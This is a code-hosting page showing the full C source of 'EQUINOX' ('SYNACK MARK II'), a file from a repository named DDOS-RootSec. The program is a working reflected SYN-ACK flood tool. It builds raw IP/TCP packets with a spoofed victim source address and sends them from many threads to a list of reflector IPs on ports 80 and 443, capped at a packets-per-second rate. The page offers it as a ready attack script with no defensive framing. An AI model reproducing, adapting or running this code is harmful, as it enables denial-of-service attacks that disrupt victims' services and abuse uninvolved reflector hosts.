Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/EQUINOX.c
4565 views
1
/*
2
SYNACK MARK II
3
*/
4
5
#include <unistd.h>
6
#include <time.h>
7
#include <sys/types.h>
8
#include <sys/socket.h>
9
#include <sys/ioctl.h>
10
#include <string.h>
11
#include <stdlib.h>
12
#include <stdio.h>
13
#include <pthread.h>
14
#include <netinet/tcp.h>
15
#include <netinet/ip.h>
16
#include <netinet/in.h>
17
#include <netinet/if_ether.h>
18
#include <netdb.h>
19
#include <net/if.h>
20
#include <arpa/inet.h>
21
22
#define MAX_PACKET_SIZE 4096
23
#define PHI 0x9e3779b9
24
25
static unsigned long int Q[4096], c = 362436;
26
static unsigned int floodport;
27
volatile int limiter;
28
volatile unsigned int pps;
29
volatile unsigned int sleeptime = 100;
30
unsigned long targetAddress;
31
32
struct list {
33
struct sockaddr_in data;
34
struct list *next;
35
struct list *prev;
36
};
37
38
struct list *head;
39
40
struct thread_data {
41
int thread_id;
42
struct list *list_node;
43
struct sockaddr_in sin;
44
};
45
46
//int ack, syn, psh, fin, rst, urg, ptr, res2, seq;
47
48
void init_rand(unsigned long int x)
49
{
50
int i;
51
Q[0] = x;
52
Q[1] = x + PHI;
53
Q[2] = x + PHI + PHI;
54
55
for (i = 3; i < 4096; i++)
56
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
57
}
58
59
unsigned long int rand_cmwc(void)
60
{
61
unsigned long long int t, a = 18782LL;
62
static unsigned long int i = 4095;
63
unsigned long int x, r = 0xfffffffe;
64
65
i = (i + 1) & 4095;
66
t = a * Q[i] + c;
67
c = (t >> 32);
68
x = t + c;
69
70
if (x < c)
71
{
72
x++;
73
c++;
74
}
75
return (Q[i] = r - x);
76
}
77
78
int randnum(int min_num, int max_num)
79
{
80
int result = 0, low_num = 0, hi_num = 0;
81
82
if (min_num < max_num)
83
{
84
low_num = min_num;
85
hi_num = max_num + 1;
86
}
87
88
else
89
{
90
low_num = max_num + 1;
91
hi_num = min_num;
92
}
93
94
result = (rand_cmwc() % (hi_num - low_num)) + low_num;
95
return result;
96
}
97
98
unsigned short csum(unsigned short *buf, int count)
99
{
100
register unsigned long sum = 0;
101
while (count > 1)
102
{
103
sum += *buf++;
104
count -= 2;
105
}
106
107
if (count > 0)
108
sum += *(unsigned char *)buf;
109
110
while (sum >> 16)
111
sum = (sum & 0xffff) + (sum >> 16);
112
113
return (unsigned short)(~sum);
114
}
115
116
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
117
{
118
119
struct tcp_pseudo {
120
unsigned long src_addr;
121
unsigned long dst_addr;
122
unsigned char zero;
123
unsigned char proto;
124
unsigned short length;
125
} pseudohead;
126
127
pseudohead.src_addr = iph->saddr;
128
pseudohead.dst_addr = iph->daddr;
129
pseudohead.zero = 0;
130
pseudohead.proto = IPPROTO_TCP;
131
pseudohead.length = htons(sizeof(struct tcphdr));
132
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
133
unsigned short *tcp = malloc(totaltcp_len);
134
memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo));
135
memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr));
136
unsigned short output = csum(tcp, totaltcp_len);
137
free(tcp);
138
return output;
139
}
140
141
void setup_ip_header(struct iphdr *iph)
142
{
143
iph->ihl = 5;
144
iph->version = 4;
145
iph->tos = 0;
146
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
147
iph->id = htonl(rand_cmwc() & 0xFFFF);
148
iph->frag_off = 0;
149
iph->ttl = MAXTTL;
150
iph->protocol = 6;
151
iph->check = 0;
152
iph->saddr = inet_addr("192.168.3.100");
153
}
154
155
void setup_tcp_header(struct tcphdr *tcph)
156
{
157
tcph->source = htons(80);
158
tcph->seq = randnum(10000,99999);
159
tcph->ack = 0;
160
tcph->ack_seq = randnum(10000,99999);
161
tcph->psh = 0;
162
tcph->fin = 0;
163
tcph->rst = 0;
164
tcph->res2 = 0;
165
tcph->doff = 5;
166
tcph->syn = 1;
167
tcph->urg = 0;
168
tcph->urg_ptr = 0;
169
tcph->window = rand_cmwc() & 0xFFFF;
170
tcph->check = 0;
171
}
172
173
void *flood(void *par1)
174
{
175
struct thread_data *td = (struct thread_data *)par1;
176
char datagram[MAX_PACKET_SIZE];
177
struct iphdr *iph = (struct iphdr *)datagram;
178
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
179
struct sockaddr_in sin = td->sin;
180
struct list *list_node = td->list_node;
181
sin.sin_family = AF_INET;
182
sin.sin_port = htons(floodport);
183
tcph->source = htons(floodport);
184
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
185
if (s < 0)
186
{
187
fprintf(stderr, "Could not open raw socket.\n");
188
exit(-1);
189
}
190
memset(datagram, 0, MAX_PACKET_SIZE);
191
setup_ip_header(iph);
192
setup_tcp_header(tcph);
193
iph->saddr = sin.sin_addr.s_addr;
194
iph->daddr = list_node->data.sin_addr.s_addr;
195
iph->check = csum((unsigned short *)datagram, iph->tot_len);
196
int tmp = 1;
197
const int *val = &tmp;
198
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
199
{
200
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
201
exit(-1);
202
}
203
init_rand(time(NULL));
204
register unsigned int i;
205
i = 0;
206
int ports[] = {80,443};
207
208
while (1)
209
{
210
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data));
211
int port = rand() % (1 - 0 + 1) + 0;
212
tcph->dest = htons(ports[port]);
213
list_node = list_node->next;
214
iph->saddr = sin.sin_addr.s_addr;
215
iph->daddr = list_node->data.sin_addr.s_addr;
216
iph->id = htonl(rand_cmwc() & 0xFFFF);
217
iph->check = csum((unsigned short *)datagram, iph->tot_len);
218
tcph->seq = randnum(10000, 99999);
219
tcph->ack_seq = randnum(10000, 99999);
220
iph->ttl = rand() % (255 + 1 - 0) + 0;
221
tcph->window = htons(randnum(10000,99999));
222
if(floodport == 0)
223
tcph->source = htons(rand_cmwc() % 0xFFFF);
224
tcph->check = 0;
225
tcph->check = tcpcsum(iph, tcph);
226
pps++;
227
228
if (i >= limiter)
229
{
230
i = 0;
231
usleep(sleeptime);
232
}
233
i++;
234
}
235
}
236
237
int main(int argc, char *argv[])
238
{
239
if (argc < 7)
240
{
241
fprintf(stdout, "Equinox\n");
242
fprintf(stdout, "Usage: %s [Target] [Port] [List] [Threads] [PPS] [Time]\n", argv[0]);
243
exit(-1);
244
}
245
246
fprintf(stdout, "Preparing...\n");
247
int max_len = 128;
248
int i = 0;
249
char *buffer = (char *)malloc(max_len);
250
head = NULL;
251
buffer = memset(buffer, 0x00, max_len);
252
int num_threads = atoi(argv[4]);
253
floodport = atoi(argv[2]);
254
int maxpps = atoi(argv[5]);
255
limiter = 0;
256
pps = 0;
257
258
FILE *list_fd = fopen(argv[3], "r");
259
while (fgets(buffer, max_len, list_fd) != NULL)
260
{
261
if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r'))
262
{
263
buffer[strlen(buffer) - 1] = 0x00;
264
if (head == NULL)
265
{
266
head = (struct list *)malloc(sizeof(struct list));
267
bzero(&head->data, sizeof(head->data));
268
head->data.sin_addr.s_addr = inet_addr(buffer);
269
head->next = head;
270
head->prev = head;
271
}
272
else
273
{
274
struct list *new_node = (struct list *)malloc(sizeof(struct list));
275
memset(new_node, 0x00, sizeof(struct list));
276
new_node->data.sin_addr.s_addr = inet_addr(buffer);
277
new_node->prev = head;
278
new_node->next = head->next;
279
head->next = new_node;
280
}
281
i++;
282
}
283
else
284
continue;
285
}
286
struct list *current = head->next;
287
288
pthread_t thread[num_threads];
289
struct sockaddr_in sin;
290
sin.sin_family = AF_INET;
291
sin.sin_addr.s_addr = inet_addr(argv[1]);
292
int multiplier = 20;
293
struct thread_data td[num_threads];
294
295
for (i = 0; i < num_threads; i++)
296
{
297
td[i].thread_id = i;
298
td[i].sin = sin;
299
td[i].list_node = current;
300
pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
301
}
302
303
fprintf(stdout, "Sending Packets...\n");
304
for (i = 0; i < (atoi(argv[6]) * multiplier); i++)
305
{
306
usleep((1000 / multiplier) * 1000);
307
if ((pps * multiplier) > maxpps)
308
{
309
if (1 > limiter)
310
sleeptime += 100;
311
312
else
313
limiter--;
314
}
315
else
316
{
317
limiter++;
318
if (sleeptime > 25)
319
sleeptime -= 25;
320
321
else
322
sleeptime = 0;
323
}
324
pps = 0;
325
}
326
return 0;
327
}
328
329